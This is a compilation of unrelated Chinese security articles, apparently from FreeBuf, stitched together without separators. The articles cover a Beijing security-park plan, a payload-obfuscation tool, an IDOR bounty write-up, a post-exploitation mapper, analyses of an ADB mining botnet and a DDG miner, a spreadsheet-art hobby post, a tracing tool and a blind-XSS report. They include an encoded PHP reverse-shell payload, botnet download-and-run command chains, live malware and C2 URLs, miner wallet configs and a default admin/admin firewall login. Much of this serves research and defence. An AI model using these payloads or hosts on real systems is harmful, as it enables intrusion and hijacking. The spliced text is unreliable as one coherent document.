6月30日,在中国软件产业发展情况新闻发布会上,《国家网络安全产业园区发展规划》正式发布,工业和信息化部与北京市人民政府决定建设国家网络安全产业园区。

根据规划,到2020年,依托产业园带动北京市网络安全产业规模超过1000亿元,拉动GDP增长超过3300亿元,打造不少于3家年收入超过100亿元的骨干企业。加快构建“高精尖”经济结构,推进首都“四个中心”建设,增强网络安全产业发展的高端引领作用,保障网络时代国家安全利益。

到2025年,依托产业园建成我国网络安全产业“五个基地”:

一是国家安全战略支撑基地。以国家安全、网络空间安全等重大战略需求为核心驱动力,超前部署、加速推进一批网络安全关键共性技术研究。

二是国际领先的网络安全研发基地。搭建面向全球的协同研发平台,汇聚全球创新资源,推动网络安全核心技术创新和科研成果转化。

三是网络安全高端产业集聚示范基地。培育一批具有全球竞争力的骨干企业,打造产学研用一体化的网络安全产业生态链,在全国形成高端产业示范引领效应。

四是网络安全领军人才培育基地。依托北京市技术、人才、科研、教育等优势资源,建设一批总部型、基地型培训基地,吸引国内外高端网络安全人才。

五是网络安全产业制度创新基地。加强政府统筹引领作用,推动园区体制机制创新,积极研究探索建立适应新时代网络安全产业发展需求的、创新的、先进的、高效的园区管理运营体制机制,实现政府、行业、企业、社会共建共享。

*来源:界面,转载请注明原出处

a.png

今天给大家介绍的这款工具名叫Graffiti,各位研究人员可以利用这款工具来生成经过混淆处理的One Liner,并将其用于渗透测试研究中的各种测试场景。

Graffiti目前支持编码的编程语言代码种类如下:

Python

Perl

Batch

Powershell

PHP

Bash

除此之外,Graffiti还支持将生成的Oneliner存储至数据库中。

功能介绍

Graffiti自带有数据库,可允许研究人员将生成的编码Payload或混淆后的One Liner插入进数据库中,以便终端用户直接查看或后续直接使用。Graffiti在对Payload进行编码时,使用了下列技术:

-异或计算

-Base64编码

-十六进制编码

-ROT13

-元数据编码

除此之外,Graffiti还提供了下列功能

1、 终端窗口拖拽访问,支持运行外部命令;

2、 可支持创建自己的Payload JSON文件;

3、 支持查看数据库缓存中的Payload信息;

4、 可在内存中运行数据库以实现快速检测;

5、 终端历史记录存储及查看;

6、 终端Tab命令自动补全;

7、 数据库文件及历史记录文件安全存储/传输;

8、 可实现多种编码技术。

工具使用

Graffiti本身内置终端工具,可直接通过拖拽源文件实现编码,无需手动传递参数。工具支持查看历史记录,并能够运行外部命令,以及其本身自带的内部命令。输入“help”或“?”即可查看工具的帮助信息:

b.png

当然了,Graffiti还可以接收命令行参数来帮助用户自定义编码Payload:

c.png

Payload编码样例

[email protected]:~/graffiti#python graffiti.py -c base64 -p /linux/php/socket_reverse.json -lH 127.0.0.1-lP 9065

Encoded Payload:

--------------------------------------------------

php-r'exec(base64_decode("JHNvY2s9ZnNvY2tvcGVuKCIxMjcuMC4wLjEiLDkwNjUpO2V4ZWMoIi9iaW4vc2ggLWkgPCYzID4mMyAyPiYzIik7"));'

--------------------------------------------------

Graffiti工具演示

演示视频:https://vimeo.com/303548362

工具安装

在任何版本的Linux、macOS以及Windows平台上,Graffiti都可以在无需任何外部组件的情况下正常运行。如果你想要将Graffiti以可执行程序的形式安装在你的系统中,你只需要运行下列命令即可:

./install.sh

这条命令将会帮助你将Graffiti安装到你的系统中,并能够从任意位置运行。

项目地址

Graffiti:【GitHub传送门】 

* 参考来源:Ekultek,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。01.png**近期,众测平台Intigriti组织了一场漏洞测试比赛,作者和朋友共同努力在周六休息日,发现了目标系统的两个IDOR防护机制绕过漏洞,收获了€20,000的漏洞赏金。本文中作者分享了整个漏洞发现的思路和过程,仅当学习借鉴。*

目标系统的加密参数

目标系统具备多层防护和加固机制,除通常的IDOR防护措施之外,还使用了“加密参数”手段,如以下的请求响应示例中’E'参数的加密方式:

Request:

POST /changeUsername HTTP/1.1Host: target.io{"userId":{"T":"text","V":"123456789","E":"VGhpcyBpcyBteSB1c2VyIGlkLCBvYnZpb3VzbHkgdGhpcyBpcyBub3QgYmFzZTY0Cg"},"userName":{"T":"text","V":"Matti Bijnens"}}

Reponse:

HTTP/1.1 200 OK{"adjustedUserName":{"T":"text","V":"Matti Bijnens","E":"SXQgd2FzIG5vdCBiYXNlNjQgYnV0IGl0IGxvb2tlZCBsaWtlIGl0Cg\u003d"}}

刚开始我就注意到了这个点,想把它作为切口进行破解突破,我具体的尝试思路如下:

(1)‘E’ 参数值可以被忽略吗?能不能把‘V’参数值进行替换,尝试实现IDOR攻击?

(2)如果‘E’ 参数值是在Web前端生成的,这样我们就可以逆向破解其加密算法来校验我们任意的设定的参数值了?

(3)能不能更改请求类型?或是删除‘E’ 参数值?这样服务端的处理是否会回退到不需要加密参数的过程?

按思路测试

想到就开始做吧。在第一种思路中,我尝试对‘V’参数值进行了编辑修改,但却没有收获,而且无任何错误响应消息显示。最后我弄明白了,服务端对几乎大部份Web路径提交的‘V’参数值都直接选择了忽略,只会检查校验其中的加密参数‘E’值,而对于某些极少Web路径中,服务端确实会选择检查‘V’参数值,忽略加密参数‘E’值。

在只检查‘V’参数值的Web路径中,我们遇到了深入的下一层IDOR防护机制,在针对‘V’参数值的IDOR攻击尝试中,只会返回一个提示消息:运行出错,请重新尝试或与管理员联系(This doesn’t seem to be working, try again or contact us.)

现在我们转为第二种思路,来看看‘E’ 参数值是否为Web前端加密生成的。但经过测试我发现,‘E’ 参数值总是随用户即时请求而相应生成,因此我放弃了之前的猜想。尽管我努力去尝试是否能猜测出‘E’ 参数值的加密方式,但最终也不了了之,没有头绪。但有一点是确定的:同样的‘V’参数值进行不同时间的发送,却可以生成不同的‘E’ 参数加密值,而且,服务端只接受最近生成的‘E’ 参数加密值。这里,我们猜想其加密方法可能引入了时间戳,这就没法了。

进入第三种思路中,我们更改请求类型(none, hidden, number, …),或是修改‘E’ 参数值,最终得到的也是同样的错误消息提示:运行出错,请重新尝试或与管理员联系(This doesn’t seem to be working, try again or contact us.)

百思不得其解时,朋友Arne提示我可考虑用Oracle的签名方法来尝试破解这个‘E’ 参数值,也就是说,这个‘E’ 参数值可能是Oracle机制的加密签名值,我们只要在服务端系统中看看它是否使用了Oracle签名方法,然后给它一个‘V’参数值明文,之后观察它会不会返回响应一个类似的‘E’ 参数加密值。比如说,目标系统中存在这么一个Web路径/encryptValue ,它负责接收‘V’参数然后响应回‘E’ 参数,那么,我们给它一个明文V,如id=6548116,看它是否会返回上述类似的‘E’ 参数加密值E=bm90YWN0dWFsbHliYXNlNjQ。

不管其中的‘E’ 参数如何加密如何签名,是不是 trailing/prepended(尾随/预置式)数据哈希,这些暂且不重要,只要服务端可以接受这个经 Oracle机制加密的‘E’ 参数,那么事情就成了。

于是,我马上在目标系统中寻找上述分析的“Oracle机制加密签名路径”,刚好,在用户名修改功能处,我发现服务端也会返回一个加密的‘E’ 参数。也就是说,只要更改用户名(这里以用户ID12341代替),服务端就会响应返回一个与用户名对应的‘E’ 参数加密值SSBsb3z1rHBpZQo。那这个路径会不会是我们分析的“Oracle机制加密签名路径”呢?

02.png不管它,先来想办法利用利用这个’E'参数值。有了这个服务端生成了‘E’ 参数加密值,我要看看其它Web路径下是否能用到它。经过半天的测试寻找,我发现了用户ID12340的票据获取路径( “/getInvoice”),其中也包含了’E'参数值。在这个用户ID为12340的请求中,为了利用上述’E'参数值,我们把用户ID变为我们测试的12341,然后把其中的也换为对应的SSBsb3z1rHBpZQo,看看会有什么反应。

遗憾的是我未能得到任何票据信息,但服务端却返回了另一个错误提示:该实体与客户身份不符(Entity does not belong to client),至少后端已经接收了这个’E'值,这明显说明,我们之前猜测的‘E’ 参数值是Oracle加密签名完全正确。

虽然这又是另外一个错误消息提示,但明显是一个突破,我们弄清楚了目标系统其中的某个点的加密方式,可以继续想办法绕过其深入的IDOR防护机制。

转化切入点实现IDOR

在与朋友Arne和Jeroen商量过后,我们决定深挖目标系统中的一些与用户ID相关的’敏感’路径,希望这些路径的校验检查存在逻辑缺陷或不足,但不幸的是,我们面对的是一个非常安全的目标,要想找到一个缺乏二次校验检查的Web路径是一件非常痛苦的事情。

我们最终把焦点放到了 /getArchive 路径上,该路径可以返回用户所有的账单/收入( bills/earnings)数据,与其它通常路径下用户ID区域属性为“text”不同的是,由于上下文关系,该路径的用户标识区域属性为“hidden”,也即隐藏,如下:

Request:

POST /getArchive HTTP/1.1Host: target.io{"T":"Hidden", "E":"Q2xlYXJseSBhIHZlcnkgd2VsbCBoaWRkZW4gc29tZXRoaW5nCg"}}

Response:

HTTP/1.1 200 OKRedirecting to archive-mattibijnens.pdf

由于这个隐藏属性,所以在请求中也无相应的参数值,但我隐约感觉,这个隐藏属性可能是用户ID的相关信息,除此之外,也没什么可是的了。

于是,在路径服务中,我马上把我初始请求的用户名更改为用户ID,并结合前述用户名生成的‘E’加密参数值,进行了请求提交。一开始是不行的,服务端返回了错误:不能找到与该ID匹配的用户(Could not find client with this ID)。但经对之前大量的路径测试,我发现有时服务端只会选取用户ID的最后一部份,于是,我把我用户ID的前一部份删除了,然后再提交请求,这一次,服务端竟然能有效接收并响应了,返回了与我账户对应的所有文档资料。

也就是说,那个隐藏区域确实是我的用户ID,而且我要了朋友Jeroen的用户ID,按照以上方法进行了测试,同样,请求能有效提交,而且服务端返回了Jeroen的所有账单/收入资料。

漏洞上报和复现

之后,我们及时向厂商进行了漏洞通报,最后得到了CVSS 7.7(高危)的评分。由于是实时的漏洞测试比赛,厂商很快就注意到了我们的报告,但由于报告没讲清细节,他们希望看到详细的漏洞复现过程。

于是,我被邀请进入了厂商办公室,对方将近20个人都围了过来,这种压力让我紧张,而且刚好我笔记本的HDMI接口又坏了,连接不了投影仪。尴尬之余,Intigriti老总Stijn让我拿他的MacBook做演示,之前我从没用过Mac本啊,在甚至不知道在Mac系统中如何切换Burp和Firefox,那个时候我就像傻瓜一样慌了手脚。好在我试着镇定下来,按照以下步骤复现了漏洞:

(1)把当前登录的用户名更改为其它用户对应的用户ID;

(2)在/getArchive 路径下代入用户名生成的‘E’加密参数值;

(3)成功返回响应后,以此判断出其中的隐藏属性为用户ID。

我用朋友Jeroen的账户进行了漏洞复现,但其中一个厂商参会人员提出希望用他的用户ID进行复现,最终我成功获取到了他所有的资料信息,此举一出,大家都对该漏洞的影响和威胁有了清楚认识。演示完毕,我坐回了椅子,Intigriti员工告知我,厂商对该漏洞的定级由高危更改为特别严重,按照其奖励政策,这会有€10.000的赏金。

03.png与此同时,我们的三人团队继续利用前述的“Oracle加密签名Bug”深入测试其它路径中的IDOR漏洞,Arne发现了只要提交用户姓名即能获得用户所有收入信息的一种方式,同样,该漏洞也被厂商评定为特别严重,也是€10.000的赏金标准。其请求Payload如下:

Request:

POST /getEarnings HTTP/1.1Host: target.io{"name":{"T":"text","V":"John Doe","E":"T2J2aW91c2x5IG5vdCBiYXNlNjQgYWdhaW4sIGJ1dCBhbiBlbmNyeXB0ZWQgdXNlciBJRAo"}}

Response:

HTTP/1.1 200 OK{"totalEarnings":{"T":"text","V":"€4560000"}}

另外,Jeroen针对某些特定用户,发现了一个可以获取这些特定用户非公开资料头像的漏洞,也得到了相应的漏洞赏金。

总结

后续,我和厂商开发团队进行了一些交流,其实目标系统架构中就根本没采用什么加密方法,也不是什么“Oracle加密签名”,其中的‘E’参数加密值也仅只是不同路径服务下针对不同用户某些明文信息的随机生成串而已,如下映射关系:

04.png开发者简单的认为由于不知道其他用户的ID,所以也就能用这种方式防御IDOR攻击了,但其实他们错了,这里的逻辑缺陷是攻击者可以通过弄清其中的’E'参数生成方式后,就可以通过替换它来实现IDOR攻击了。以下是我的一些观点总结:

没有任何一个系统是安全的,任何人都可能犯错;

发现一些“高级的防护措施”后千万别灰心放弃;

如果可行,尝试和其他白帽朋友们共同进行头脑风暴;

好好详细写漏洞报告,否则你可能会在20多个人面前复现漏洞。

*参考来源:medium,clouds编译,转载请注明来自FreeBuf.COM

如果你在获得某个组织的网络最高权限后,最想做的是什么呢?根据调查,人们在这种情况下最想做的就是把该组织中的有价值的数据都复制过来。

虽然目前有很多工具和方法可以让我们在渗透测试期间获得更高的权限,但在获取权限后,使用什么样的工具来帮助我们查找有价值的数据,就很有讲头了。在这篇文章中,我想介绍Leprechaun,这是一个新近被开发出来的后开发(post-exploitation)工具。

关于Leprechaun

在我进行过的许多渗透测试活动中,通常获得某种高级权限的过程只是一个时间问题,之后我便可以在内部环境中枚举所有的系统和服务。我个人最喜欢使用的工具之一是Bloodhound,BloodHound以用图与线的形式,将域内用户、计算机、组、Sessions、ACL以及域内所有相关用户、组、计算机、登陆信息、访问控制策略之间的关系更直观的展现在分析人员面前进行更便捷的分析域内情况,更快速的在域内提升自己的权限。但是,在黑盒渗透测试中,我们不知道网络实际上是什么样的,需要进行尽可能多的侦察,以构建网络图,识别有价值的服务器和资源,绘制数据点等,而Leprechaun就是帮助我完成高效完成这个侦察过程的。

Leprechaun的运行原理

在使用诸如Josh Stone编写的routehunter之类的工具,或者可以在多个主机上递归运行netstat的任何其他进程/工具中,利用Leprechaun的输出信息,就可以高效地获得测试环境中的数据流或网络连接的直观表示。

使用命令和参数./leprechaun.rb -f results.txt -p all,你可以快速将netstat结果解析为以下直观的图表。

1.png

Leprechaun的输出样本

在一个非常大的网络环境中,能够快速确定正在发生的事情,可以为你节省大量时间。使用上面的输出信息,你可以快速且非常容易地推断出驻留在192.12.70.50的系统是一个非常重要的系统。基于此判断,你需要将注意力集中在此系统上,并确定其中到底发生了什么。

此外,如果你喜欢文本输出,可以使用与上面相同的命令,获得以下文本输出结果。

2.jpg

在某些情况下,这可能会变得非常复杂,这具体取决于网络大小和环境中已建立连接的数量。它可能看起来像如下这样:

3.png

所有目标端口均显示出来

假如你只想要一个特定的端口,请将上述参数中的all替换为某个特定端口,例如80,甚至80,443,8080等都可以。此时,你会获得以下输出内容和图表:

4.jpg

端口80/tcp的输出内容

最后,如果你只对常见端口感兴趣,就可以使用硬编码端口列表,也可以根据自己的喜好对其进行修改。下面是一个查看常见端口的示例:

5.png

仅显示连接到已知端口的客户端

如果你对将要解析的示例netstat文件看起来很好奇,它可能是几行包含你从netstat获得的正常格式,如下所示(仅限IPv4):

6.jpg

总结

在实际的渗透测试中,你最不想做的事情就是花几个小时搜索数据,并了解网络。虽然有时你可以向测试对象询问可能有用的信息,但在短时间内快速了解有关网络的信息可能会对你的测试产生很大的帮助。

我过去曾使用类似的技术来发现过非常重要的数据库管理系统,并最终能够通过查找SQL客户端和服务器来获取其他凭据,例如Microsoft SQL Server服务帐户。这对于识别其他重要资源,例如文件服务器、内部网、应用程序服务器等,也很有用。

可以在GitHub存储库中获取Leprechaun:https://github.com/vonahi-security/leprechaun

趋势科技在最近的研究中发现一种新的加密货币挖矿僵尸网络,它可以通过开放的ADB(Android Debug Bridge)端口进入,并借助SSH传播扩散。这种攻击方法利用了默认情况下打开的ADB端口没有身份验证的设置,类似于之前报告的Satori僵尸网络变体。这个僵尸网络的设计能够让它从受感染的主机传播到任何先前与主机建立SSH连接的系统。

利用ADB的做法使得基于Android的设备很容易受攻击。趋势科技在21个不同国家/地区检测到该僵尸网络的活动,在韩国发现的比例最高。

技术细节

已经发现IP地址45 [.] 67 [.] 14 [.] 179连接到ADB运行设备或系统,然后进行多项活动。图1总结了攻击的感染链。

图1.攻击感染链

攻击首先使用ADB命令shell将受攻击系统的工作目录更改为“/ data / local / tmp”,因为.tmp文件通常具有默认执行权限。

机器人随后将判断它所进入的系统类型以及系统是否是蜜罐,如命令“uname -a”所示。

然后将使用wget下载有效负载,如果受感染系统中没有wget,则使用curl。然后机器人发出命令“chmod 777 a.sh”以更改下载的有效负载的权限设置,允许它被执行。

最后,当执行“a.sh”时,其踪迹将通过执行“rm -rf a.sh *”命令而被删除。所有这些命令都可以在恶意软件的代码中看到,如图2所示。

2.jpg

图2.恶意软件脚本的快照显示了它执行的命令

有效负载

“a.sh”的脚本显示此攻击将从三个不同的挖矿软件中进行选择,三个都可下载。这可以在“uname -m”命令的输出中看到,如上面图2所示。

“uname -m”命令一旦执行,就会获取受感染系统的信息,例如其制造商、硬件详细信息和处理器体系结构。此命令的输出可以作为一个变量数据,用于确定在攻击中使用哪种挖矿软件。

根据上文所述,如果uname -m获得了指示受感染系统的处理器类型的字符串,则它使用附加的wget命令来下载该挖矿软件。如果系统没有wget,它将使用curl。

下面列出了可用于此攻击的三类挖矿软件,都可以通过相同的URL提供。

· http://198[.]98[.]51[.]104:282/x86/bash

· http://198[.]98[.]51[.]104:282/arm/bash

· http://198[.]98[.]51[.]104:282/aarch64/bash

为了优化挖掘活动,该脚本还通过启用HugePages来增强被入侵设备的内存,将有助于系统支持大于其默认大小的内存页。此功能在脚本中可以看作“/ sbin / sysctl -w vm.nr_hugepages = 128”。

此僵尸网络还试图通过修改/ etc / hosts来阻止其竞争对手。通过添加附加记录“0.0.0.0 miningv2.duckdns.org”,它会阻止对手方的URL。它还使用命令“pkill -9 r32”杀掉了竞争对手的进程。

最后,它采用了一种删除下载文件的规避技术。传播到连接到系统的其它设备后,它会删除其有效负载文件,删除在受害主机上的踪迹。

传播机制

该攻击另一个值得注意的问题是存在使用SSH的传播机制,虽然这不是什么独有特征。任何连接到原始受感染设备并通过SSH受到攻击的系统,都可能是在其操作系统中被列为“已知”(known)的设备。成为“已知”设备意味着在初始密钥交换之后,两个系统可以彼此通信而无需任何进一步的认证,每个系统认为另一个是安全的。这种传播机制的存在意味着此恶意软件可能滥用广泛使用的SSH连接过程。

这个已知设备列表和SSH设置保存在“已知主机”(known_hosts)中,可以在恶意软件的代码中看到。已知主机和受害设备公钥的组合使僵尸网络可以连接到先前连接到受感染系统的智能设备或系统。完成这个操作,它使用了两个散布工具,如图3和图4所示。

3.jpg

图3.显示恶意软件的第一个散布工具的代码快照

4.jpg

图4.显示恶意软件的第二个散布工具的代码快照

第一个散布工具通过IPv4地址从已知主机获取所有系统,访问它们,并安装在最初受攻击的系统中使用的相同挖矿软件。第二个脚本具有相同的目的,但它在不同的目录中搜索“known_hosts”。这两个散布工具帮助僵尸网络发动攻击并感染与第一个受影响系统通信的其它系统。

结论和安全建议

尽管ADB对于管理员和开发人员来说是一项非常有用的功能,但请务必记住,启用的ADB可能会将设备及其连接的设备暴露于攻击威胁之中。

用户还可以遵循其他最佳实践来防御非法加密货币挖矿活动和僵尸网络,例如:

• 必要时检查并更改默认设置以提高安全性

• 更新设备固件并应用可用的修补程序

• 了解攻击者用于传播这些类型的恶意软件的方法,并针对它们定制防御措施。

攻击提示(IoC)

URL

· 45[.]67[.]14[.]179

· http://198[.]98[.]51[.]104:282 

image.png 

之前学习Matlab是为了参加一个数学建模的比赛,但是在慢慢的学习当中发现了matlab这款软件是真的有趣,真的非常有用,大家没事也可以去学习一下使用matlab。

在参加完建模比赛之后,matlab这个软件业一直没有卸载就放在我的电脑里面。直到有一天看到网上有人使用表格画画,我想我是不是也能画一幅。我自己也尝试过,但是实在是不好画。我脑袋一热想起来了,照片是由像素组成的,每个像素里面包含了RGB三种颜色的信息,我要是能提取这张照片的每个像素的RGB值,我就可以在表格里面精准的画对颜色了, 同时我要是能找对每个像素所在的位置,我就能画对地方了。位置对了,颜色对了,那就好办了,但是想来想去这么提取照片里面的像素呢?

最后在matlab下面找到一个函数,可以提取rgb的信息,废话不多说,打开matlab把。上手编程。

习惯了写注释,使用每次代码都是整整齐齐的。

这个就是RGB的信息了。

在使用matlab处理好照片之后,就能得到一个含有照片所有RGB信息的文本了,把这个文本导入到表格里面,就可以根据每个表格的里面的信息开始填充颜色了,你以为真的那么简单的吗,你会发现上千上万个格子要你去填充。这时候我又想到了,自己学过VBA编程,VBA编程可以处理文案工作中那些繁琐重复的任务,那我就开始敲代码把。感觉没有什么事是代码不能解决的。

附上VBA的程序吧。在此之前只要调整好表格的一些参数,然后运行这个宏就可以等着自动填充颜色吧。最后出来的效果,那是棒棒的啊。感谢编程。让我有了这么一会装B的机会 。

最后我就把最近Freebuf的一个小程序的二维码做了一张表格出来了

看一下把。

这个是二维码图片的信息。我们给导入到表格里面去。

最后运行宏,颜色直接自己填充好。你看怎么样。

当然了,这不马上就要七月七号了吗,可以给女朋友也做一个。到时候直接发个表格过去,搏他一笑~

*本文作者:LEdge1,转载请注明来自FreeBuf.COM

近期观测到,Linux下DDG变种挖矿病毒又在全国范围内大规模爆发,该样本通过SSH爆破进行攻击,执行恶意程序,下 载伪装成图片的门罗币挖矿木马,设置为开机启动并在后台运行,木马在入侵计算机之后,以该计算机本地密钥登录known_hosts文件中的服务器进行横向渗透,攻击局域网中的其他机器并控制这些机器,使得这些无法正常提供业务,对该样本进行深入分析。

0×00 样本介绍

样本基本信息:

样本 MD5 内容
xvfxprtb e637e3252f452226c646079fcb6ac101 脚本下载图片样本
1414297571.jpg 35adcfb63017158c1f100201f850e8bd 伪装成图片,包含挖矿程序和配置文件
mysqlc_i686 18576051127ac0cc14664ba96c901dcb 32位远控木马
mysqlc_x86_64 2b95c896bea354a5a67cfcbd84fbb765 64位远控木马
mysqli_i686 0c3dc9a67f879e5cc9849d128b16b866 32位挖矿程序
mysqli_x86_64 784374992bddb9cf35aa92f098ec78b2 64位挖矿程序

0×01 详细分析

xvfxprtb实际上是一个shell脚本,它是经过base64加密后的结果。

解密后得到shell脚本,该脚本的功能是下载1414297571.jpg样本,并将该图片样本重命名为mysqli.tar.gz,解压挖矿程序和程序的配置脚本,执行in脚本开始挖矿。

解压mysqli.tar.gz后目录结构:

执行in脚本,定时下载挖矿木马任务,每 15 分钟从 pastebin 上下载经过 base64 编码的脚本自身并执行,并设置成开机启动 。

还包含了kill_sus_proc()函数,清理自身挖矿进程 ,并杀掉CPU大于30%的进程。

该病毒通过识别内核版本,执行对应版本的病毒。

判断挖矿程序的配置是否存在。

读取.ssh目录下known_hosts中的服务器地址,尝试使用密钥登录后横向传播,攻击局域网中的其他机器并控制这些机器。

查杀Stratum矿池协议的挖矿进程,使得自己独占CPU资源。

清除历史命令、除日志、邮件和服务器登陆行为。

矿机配置文件config.json如下:

{
    "algo": "cryptonight",
    "api": {
        "port": 0,
        "access-token": null,
        "id": null,
        "worker-id": null,
        "ipv6": false,
        "restricted": true
    },
    "autosave": true,
    "av": 0,
    "background": true,
    "colors": false,
    "cpu-affinity": null,
    "cpu-priority": null,
    "donate-level": 1,
    "huge-pages": true,
    "hw-aes": null,
    "log-file": null,
    "max-cpu-usage": 75,
    "pools": [
        {
            "url":"xmr.pool.minergate.com:45700",
            "user":"[email protected]",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": false,
            "variant": -1,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null
        },
        {
            "url":"xmr-eu1.nanopool.org:14444",
            "user":"489N5AAY5igKmcD7gfYxmg6GrGJEXy46HbX23XRTHe1JYiSg4yo9iwBW9XcoCKaJ9xXbwBVSndKerbMvZdwoHMb23QyAFtz",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "variant": -1,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null
        },
        {
            "url":"xmr-asia1.nanopool.org:14444",
            "user":"489N5AAY5igKmcD7gfYxmg6GrGJEXy46HbX23XRTHe1JYiSg4yo9iwBW9XcoCKaJ9xXbwBVSndKerbMvZdwoHMb23QyAFtz",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "variant": -1,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null
        }
    ],
    "print-time": 60,
    "retries": 11,
    "retry-pause": 5,
    "safe": false,
    "threads": [
        {
            "low_power_mode": 1,
            "affine_to_cpu": false
        },
        {
            "low_power_mode": 1,
            "affine_to_cpu": false
        },
        {
            "low_power_mode": 1,
            "affine_to_cpu": false
        }
    ],
    "user-agent": null,
    "syslog": false,
    "watch": true
}

矿池地址:xmr.pool.minergate.com:45700

用户名:[email protected]

密码:x

矿池地址:xmr-eu1.nanopool.org:14444

用户名:

489N5AAY5igKmcD7gfYxmg6GrGJEXy46HbX23XRTHe1JYiSg4yo9iwBW9XcoCKaJ9xXbwBVSndKerbMvZdwoHMb23QyAFtz

密码:x

矿池地址:xmr-asia1.nanopool.org:14444

用户名:

489N5AAY5igKmcD7gfYxmg6GrGJEXy46HbX23XRTHe1JYiSg4yo9iwBW9XcoCKaJ9xXbwBVSndKerbMvZdwoHMb23QyAFtz

密码:x

通过挖矿钱包地址发现Pool: nanopoolPaid: 0 XMR,目前挖的门罗币为0。

0×02 解决方案

1、手动清除挖矿木马,删除病毒体rm-rf /tmp/.mysqli/,rm /tmp/mysqli.tar.gz

2、清理定时任务/var/spool/cron/crontabs

3、查杀挖矿进程,psauxf|grep -v grep|grep “mysqli”|awk ‘{print $2}’|xargs kill -9,ps auxf|grep -v grep|grep ” mysqlc”|awk’{print $2}’|xargs kill -9

4、清除开启自启动服务chkconfig–del in

5、采用高强度的密码,定期更换服务器密码。

0×03 相关IOC

MD5

e637e3252f452226c646079fcb6ac101
35adcfb63017158c1f100201f850e8bd
18576051127ac0cc14664ba96c901dcb
2b95c896bea354a5a67cfcbd84fbb765
0c3dc9a67f879e5cc9849d128b16b866
784374992bddb9cf35aa92f098ec78b2

C2

122.114.196.38:43100

URLs

https://pastebin.com/raw/xvfxprtb http://m.jianlistore.com/images/qrcode/1414297571.jpg

*本文作者:Sampson,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

Functrace是一款使用DynamoRIO(http://dynamorio.org/)通过动态检测分析二进制文件的工具。

特性(基于DynamoRIO)

反汇编所有执行的代码

反汇编一个特定的函数(如果是地址则进行转储)

获取特定函数的参数(如果是地址则进行转储)

获取特定函数的返回值(如果这是一个地址则进行转储)

监控应用信号

生成报告文件

ghidra(https://ghidra-sre.org/)coverage脚本(基于functrace报告文件)

安装

$ wget https://github.com/DynamoRIO/dynamorio/releases/download/release_7_0_0_rc1/DynamoRIO-Linux-7.0.0-RC1.tar.gz
$ tar xvzf DynamoRIO-Linux-7.0.0-RC1.tar.gz

$ wget https://github.com/DynamoRIO/dynamorio/releases/download/cronbuild-7.91.18047/DynamoRIO-x86_64-Linux-7.91.18047-0.tar.gz
$ tar xvzf DynamoRIO-x86_64-Linux-7.91.18047-0.tar.gz

你也可以直接克隆和编译DynamoRIO

$ git clone https://github.com/invictus1306/functrace
$ mkdir -p functrace/build
$ cd functrace/build
$ cmake .. -DDynamoRIO_DIR=/full_DR_path/cmake/
$ make -j4

DEMO

667.JPG

使用

$ drrun -c libfunctrace.so -report_file report -- target_program [args]

选项

支持以下 [functrace](https://github.com/invictus1306/functrace)可选项:

-disassembly                    -> disassemble all the functions 
-disas_func function_name       -> disassemble only the function function_name	
-wrap_function function_name    -> wrap the function function_name				
-wrap_function_args num_args    -> number of arguments of the wrapped function
-cbr                            -> remove the bb from the cache (in case of conditional jump)
-report_file file_name          -> report file name (required)
-verbose                        -> verbose

使用示例

选项 -verbose

$ drrun -c libfunctrace.so -report_file report -verbose -- target_program [args]

选项 -disassemby

$ drrun -c libfunctrace.so -report_file report -disassembly -- target_program [args]

选项 -disas_func

$ drrun -c libfunctrace.so -report_file report -disas_func name_function -- target_program [args]

选项 -wrap_function 和 -wrap_function_args

$ drrun -c libfunctrace.so -report_file report -wrap_function name_function -wrap_function_args num_args -- target_program [args]

选项 -cbr

$ drrun -c libfunctrace.so -report_file report -cbr -- target_program [args]

CVE-2018-4013 – 漏洞分析

LIVE555 RTSP 服务器库上的漏洞。详情请在此处查看。

12.JPG

工作环境

以上测试环境为 Ubuntu 16.04.5 LTS 64 bit

待添加功能

Ghidra插件

可视化设置界面

存储并比较不同的覆盖能力分析

从ghidra运行DR directy

为functrace添加更多功能

支持Android

 *参考来源:GitHub,FB小编secist编译,转载请注明来自FreeBuf.COM

*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。01.png*大家好,今天分享的Writeup是作者通过对某电子商务网站的Blind XSS测试,发现了系统内部的票据管理系统和FortiGate防火墙管理系统,漏洞最终被定义为XSS导致的信息泄露,获得了厂商 $1,250的奖励,漏洞虽然简单,但这种姿势值得学习。以下是作者的分享,出于保密原因,其中描述的目标网站简称为seller.redacted.com。

漏洞发现端倪

刚开始在对seller.redacted.com的测试过程中,我尝试了各种方法但却一无所获,这种苦闷大家都能明白。于是,我尝试着变换思路寻找新的切口,这次我想看看XSS。在目标网站中我发现了一个比较有意思的登录页面,当在用户名密码区域中输入错误的凭据,输入失败后,就会出现一个“无法登录?”(Unable to Login?)的选项按钮来,如下:

02.jpg好奇心促使我点击了这个选项按钮,之后,会跳出一个无法登录的信息反馈填写框,其中有无法登录相关的问题类型、注册的邮箱、个人手机号码和问题描述这几个填写项,我一一填写完后,在最后的问题描述区域内整上了我的Blind XSS Payload,看看会出现什么结果。如下:

03.png

获得系统内部票据管理系统登录页面

通过不停地变换Blind XSS Payload尝试,一小时后,我通过上述无法登录的信息反馈机制,在我填写的邮箱中收到了目标系统发给我的一条通知消息,其为 “XSS payload fired on something.private.redacted.com/#app/secondLevelLead/my/incident/[ticket]/ticketjourny”:

04.png也就是说,那个问题描述区域确实存在XSS漏洞,且从通知消息中,我得到了目标系统的某个类似票据管理的服务端http://something.private.redacted.com/#app/secondLevelLead/my/incident/[ticket]/ticketjourny,可遗憾的是,我却不能有效地访问它,为什么呢?经过研究,我发现,这其实是一个内部管理系统,只能内部员工或通过VPN方式才能实现访问。

05.png

获得系统内部FortiGate防火墙登录页面

好吧,无法访问也就算了,但从上述通知消息的内容中,我又发现了另外一个IP地址,它是一个FortiGate防火墙登录页面,FortiGate是一种下一代防火墙NGFW系统。

06.png用简单的用户名密码组合试试吧,admin/admin,哇,竟然可以成功登录!

